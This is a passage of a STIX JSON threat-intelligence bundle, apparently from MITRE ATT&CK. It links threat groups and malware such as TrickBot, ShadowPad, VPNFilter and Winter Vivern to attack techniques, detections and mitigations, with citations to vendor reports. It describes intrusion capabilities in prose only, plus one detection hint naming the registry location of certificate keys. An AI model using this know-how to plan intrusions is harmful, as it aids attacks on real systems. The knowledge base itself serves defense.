2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d1d57467-63ad-41b2-99ae-7661ddaf436e","created":"2022-07-29T19:38:51.741Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to scheduled jobs that may attempt to remove artifacts on a host system.","modified":"2022-07-29T19:38:51.741Z","relationship_type":"detects","source_ref":"x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d1d98422-199e-4c0b-945e-d8ff1dcfbb21","created":"2024-07-25T22:38:10.434Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:38:10.434Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) can self-delete.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d1d9a962-c12d-4d69-9306-273243176361","created":"2024-08-05T18:27:47.846Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T18:27:47.846Z","description":"Monitor command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors such as using `os.execute` to execute operating system commands.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d1deffba-9885-4b52-b2b5-cbfcec82a52b","created":"2023-09-25T12:41:26.902Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-25T12:41:26.902Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1e1fefe-5e60-463e-9fd3-bc5ca6d559ed","type":"relationship","created":"2022-02-07T17:04:29.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"modified":"2022-02-07T17:04:29.737Z","description":"(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"tool--c11ac61d-50f4-444f-85d8-6f006067f0de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d1e53f99-5dec-4a52-948e-307202b76d0f","created":"2024-07-29T22:39:46.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"},{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:04:47.710Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) distributed Windows batch scripts disguised as virus scanners to prompt download of malicious payloads using built-in system tools.(Citation: SentinelOne WinterVivern 2023)(Citation: CERT-UA WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1ee6feb-91cb-4cac-ae57-e71358af29c2","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-30T02:41:22.009Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can compress data with Zip before sending it over C2.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d1f0b6ab-f347-4741-bede-b7bfaf975403","created":"2022-03-30T14:26:51.870Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","modified":"2022-04-20T03:18:04.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985","target_ref":"attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1f2ae2f-66e2-4dff-a806-75097d6c9c19","type":"relationship","created":"2021-08-03T17:24:56.161Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.808Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can enumerate the username on a compromised host.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1f44e84-61cb-4a96-add8-d37a38369e43","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}],"modified":"2019-06-24T19:15:06.564Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) collects a list of install programs and services on the system’s machine.(Citation: S2 Grupo TrickBot June 2017)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1f67e5c-72c6-4e26-91d4-bc8593e61774","type":"relationship","created":"2019-06-13T16:59:18.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","source_name":"NIST 800-63-3"}],"modified":"2022-03-09T03:18:18.633Z","description":"Refer to NIST guidelines when creating password policies.(Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d1f69900-05e0-4e20-be0d-4311e50a820f","created":"2024-03-07T18:57:15.713Z","revoked":false,"external_references":[{"source_name":"VPNFilter Router","description":"Tung, Liam. (2018, May 29). FBI to all router users: Reboot now to neuter Russia's VPNFilter malware. Retrieved March 7, 2024.","url":"https://www.zdnet.com/article/fbi-to-all-router-users-reboot-now-to-neuter-russias-vpnfilter-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-07T18:57:15.713Z","description":"[VPNFilter](https://attack.mitre.org/software/S1010) has the capability to wipe a portion of an infected device's firmware.(Citation: VPNFilter Router)","relationship_type":"uses","source_ref":"malware--6108f800-10b8-4090-944e-be579f01263d","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d200ba08-8179-495e-a854-9b13be5c0f93","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.385Z","description":"A variant of [Emissary](https://attack.mitre.org/software/S0082) appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2010d54-21e6-4312-b197-bca1a4c07b86","created":"2024-02-12T20:12:20.569Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:12:20.569Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) initial installation involves dropping several files to a hidden directory named after the victim machine name.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2041a67-d846-4a1b-b704-4e437baa731a","type":"relationship","created":"2019-05-14T17:08:39.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}],"modified":"2019-06-07T20:52:37.151Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) can wipe the accessible physical or logical drives of the infected machine.(Citation: Symantec Elfin Mar 2019)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2065f08-57ba-4210-8863-24defbb63633","created":"2022-08-03T14:48:19.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"},{"source_name":"O365 Blog Azure AD Device IDs","description":"Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.","url":"https://o365blog.com/post/deviceidentity/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-21T20:32:29.694Z","description":"Monitor for attempts to access information stored in the Registry about certificates and their associated private keys. For example, user certificates are commonly stored under `HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\SystemCertificates`.(Citation: SpecterOps Certified Pre Owned)(Citation: O365 Blog Azure AD Device IDs)","relationship_type":"detects","source_ref":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2067a75-0d5d-4899-9d9f-6537d98296c1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:07:27.171Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can remotely activate the victim’s webcam to capture content.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d207f54d-81c1-4b20-ba56-575fbdec2f03","type":"relationship","created":"2020-12-07T19:44:08.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T21:28:19.803Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has used a hardcoded GitHub repository as a fallback channel.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d20b659b-3595-4171-9beb-668ab26bf398","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.318Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a batch script that adds a Registry Run key to establish malware persistence.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d20f3c5a-5987-4223-a97d-64ca0f1231ac","type":"relationship","created":"2021-09-29T22:24:15.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.608Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has collected data from a compromised host.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d21527b8-a8c8-4c95-9061-21c49155232e","type":"relationship","created":"2020-03-30T20:18:09.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","source_name":"US-CERT TYPEFRAME June 2018"}],"modified":"2020-03-30T20:18:09.529Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) has used ports 443, 8080, and 8443 with a FakeTLS method.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d216c395-ceb2-4103-8035-336a0821b79c","type":"relationship","created":"2021-03-23T20:49:40.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.319Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has discovered system information including memory status, CPU frequency, OS versions, and volume serial numbers.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d21794dc-278a-41c5-9707-17113f261d1d","created":"2024-07-12T19:26:24.140Z","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T19:26:24.140Z","description":"[Pikabot](https://attack.mitre.org/software/S1145), following payload decryption, creates a process hard-coded into the dropped (e.g., WerFault.exe) and injects the decrypted core modules into it.(Citation: Zscaler Pikabot 2023)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2187598-ade7-4ce0-8375-da55aa3369c2","created":"2024-09-23T22:27:08.392Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:27:08.392Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used phishing emails with malicious links to gain initial access.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d219ed2b-2877-450f-9a69-a30f36497d14","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"}],"modified":"2020-03-17T01:22:43.629Z","description":"[Gazer](https://attack.mitre.org/software/S0168) obtains the current user's security identifier.(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d220a65b-c4bf-4a23-b62d-6beb81eb646a","type":"relationship","created":"2021-03-25T14:18:38.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:20:26.082Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used the msiexec.exe command-line utility to download and execute malicious MSI files.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2212e02-787a-4893-8ecd-d1ac6619bf9f","type":"relationship","created":"2020-09-09T15:57:51.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-09-09T15:57:51.730Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used the Stealer One credential stealer to target e-mail and file transfer utilities including FTP.(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2260326-b220-46e4-ba11-3f14ec89f45f","created":"2022-01-10T19:52:49.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 